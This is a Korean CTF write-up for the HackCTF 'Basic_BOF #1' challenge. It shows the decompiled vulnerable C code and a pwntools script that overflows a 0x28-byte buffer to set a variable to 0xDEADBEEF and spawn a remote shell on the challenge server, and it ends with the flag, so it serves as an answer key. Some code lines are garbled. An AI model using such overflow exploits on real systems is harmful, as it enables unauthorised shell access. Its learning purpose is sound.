[HackCTF / pwnable] Basic_BOF #1

2019. 10. 4. 03:27Wargame & CTF/HackCTF

기초적인 버퍼 오버플로우 문제이다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+4h] [ebp-34h]
  int v5; // [esp+2Ch] [ebp-Ch]
 
  v5 = 67305985;
  fgets(&s, 45, stdin);
  printf("\n[buf]: %s\n"&s);
  printf("[check] %p\n", v5);
  if ( v5 != 67305985 && v5 != -559038737 )
    puts("\nYou are on the right way!");
  if ( v5 == 0xDEADBEEF )
  {
    puts("Yeah dude! You win!\nOpening your shell...");
    system("/bin/dash");
    puts("Shell closed! Bye.");
  }
  return 0;
}
cs


s를 오버플로우 시켜서 v5를 덮어 씌우면 된다.

s와 v5의 거리는 0x34-0xc, 0x28이다.


ex.py


1
2
3
4
5
6
7
8
9
10
from pwn import *
 
#p = process("./bof_basic")
= remote("ctf.j0n9hyun.xyz"3000)
 
payload = ""
payload += "A"*0x28+"\xef\xbe\xad\xde"
 
p.sendline(payload)
p.interactive()
cs


Basic_BOF #1 : HackCTF{f1r57_574ck_buff3r_0v3rfl0w_5ucc355}